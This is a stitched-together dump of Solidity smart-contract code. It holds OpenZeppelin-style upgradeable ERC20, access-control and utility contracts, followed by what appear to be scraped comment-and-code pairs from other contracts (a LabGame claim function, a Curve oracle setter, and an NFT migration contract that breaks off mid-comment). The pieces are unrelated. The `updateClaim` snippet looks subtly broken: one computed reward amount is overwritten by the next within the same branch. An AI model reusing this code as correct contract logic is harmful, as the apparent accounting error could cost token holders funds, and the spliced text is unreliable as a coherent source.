address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; if (currentAllowance < subtractedValue) revert ERC20_DecreasedAllowanceBelowZero(); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { if (from == address(0)) revert ERC20_TransferFromZeroAddress(); if (to == address(0)) revert ERC20_TransferToZeroAddress(); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; if (fromBalance < amount) revert ERC20_TransferAmountExceedsBalance(amount, fromBalance); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { if (account == address(0)) revert ERC20_MintToZeroAddress(); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { if (account == address(0)) revert ERC20_BurnFromZeroAddress(); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; if (accountBalance < amount) revert ERC20_BurnAmountExceedsBalance(amount, accountBalance); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { if (owner == address(0)) revert ERC20_ApproveFromZeroAddress(); if (spender == address(0)) revert ERC20_ApproveToZeroAddress(); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < amount) revert ERC20_InsufficientAllowance(amount, currentAllowance); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ error AccessControl_MissingRole(address account, bytes32 role); error AccessControl_CanOnlyRenounceRolesForSelf(address account, address sender); abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert AccessControl_MissingRole(account, role); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { if (account != _msgSender()) revert AccessControl_CanOnlyRenounceRolesForSelf(account, _msgSender()); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ error Pausable_Paused(); error Pausable_NotPaused(); abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { if (paused()) revert Pausable_Paused(); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { if (!paused()) revert Pausable_NotPaused(); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; error NoClaimAvailable(address _account); interface IClaimable { function claim() external; function pendingClaim(address _account) external view returns (uint256); function initializeClaim(uint256 _tokenId) external; function updateClaim(address _account, uint256 _tokenId) external; event Claimed(address indexed _account, uint256 _amount); event Updated(address indexed _account, uint256 indexed _tokenId); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface ILabGame { function getToken(uint256 _tokenId) external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function tokenOfOwnerByIndex(address _account, uint256 _index) external view returns (uint256); function ownerOf(uint256 _tokenId) external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ error Initializable_AlreadyInitialized(); error Initializable_NotInitializing(); abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. if(_initializing ? !_isConstructor() : _initialized) revert Initializable_AlreadyInitialized(); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { if (!_initializing) revert Initializable_NotInitializing(); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; /** * @dev Collection of functions related to the address type */ error Address_InsufficientBalance(uint256 balance, uint256 amount); error Address_UnableToSendValue(address recipient, uint256 amount); error Address_CallToNonContract(address target); error Address_StaticCallToNonContract(address target); library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { if (address(this).balance < amount) revert Address_InsufficientBalance(address(this).balance, amount); (bool success, ) = recipient.call{value: amount}(""); if (!success) revert Address_UnableToSendValue(recipient, amount); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { if (address(this).balance < value) revert Address_InsufficientBalance(address(this).balance, value); if (!isContract(target)) revert Address_CallToNonContract(target); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { if (!isContract(target)) revert Address_StaticCallToNonContract(target); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Claim token and save in owners pending balance before token transfer _account Owner of token _tokenId Token ID/ Verify ownership Claim the token
function updateClaim(address _account, uint256 _tokenId) external override onlyLabGame whenNotPaused { if (_account != labGame.ownerOf(_tokenId)) revert NotOwned(_msgSender(), _tokenId); uint256 amount; uint256 token = labGame.getToken(_tokenId); if ((token & 128) != 0) { amount = _claimMutant(_tokenId, token & 3); amount = _claimScientist(_tokenId, token & 3); amount = _payTax(amount); } emit Updated(_account, _tokenId); }
14,890,538
./partial_match/1/0xA5BFc2C9C777917c0d0198D0a9DC62a70C205Dca/sources/src/abstracts/CurvePoolVirtualPriceOracleWithMinMax.sol
The ```_setMinimumCurvePoolVirtualPrice``` function is called to set the minimum virtual price Contains no access control _newMinimum The new minimum price
function _setMinimumCurvePoolVirtualPrice(uint256 _newMinimum) internal { minimumCurvePoolVirtualPrice = _newMinimum; }
3,693,438
/** *Submitted for verification at Etherscan.io on 2022-02-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // This is a special "passive" migration contract of MTM. // Every single method is modified and has custom "passive" migration proxy logic. abstract contract Ownable { address public owner; constructor() { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender, "Ownable: NO"); _; } function transferOwnership(address newOwner_) public virtual onlyOwner { owner = newOwner_; } } interface iCM { // Views function name() external view returns (string memory); function symbol() external view returns (string memory); function totalSupply() external view returns (uint256); function ownerOf(uint256 tokenId_) external view returns (address); function balanceOf(address address_) external view returns (uint256); function getApproved(uint256 tokenId_) external view returns (address); function isApprovedForAll(address owner_, address operator_) external view returns (bool); } // ERC721I Functions, but we modified it for passive migration method // ERC721IMigrator uses local state storage for gas savings. // It is like ERC721IStorage and ERC721IOperator combined into one. contract ERC721IMigrator is Ownable { // Interface the MTM Characters Main V1 iCM public CM; function setCM(address address_) external onlyOwner { CM = iCM(address_); } // Name and Symbol Stuff string public name; string public symbol; constructor(string memory name_, string memory symbol_) { name = name_; symbol = symbol_; } // We turned these to _ prefix so we can use a override function // To display custom proxy and passive migration logic uint256 public totalSupply; mapping(uint256 => address) public _ownerOf; mapping(address => uint256) public _balanceOf; // Here we have to keep track of a initialized balanceOf to prevent any view issues mapping(address => bool) public _balanceOfInitialized; // We disregard the previous contract's approvals mapping(uint256 => address) public getApproved; mapping(address => mapping(address => bool)) public isApprovedForAll; // // TotalSupply Setter // Here, we set the totalSupply to equal the previous function 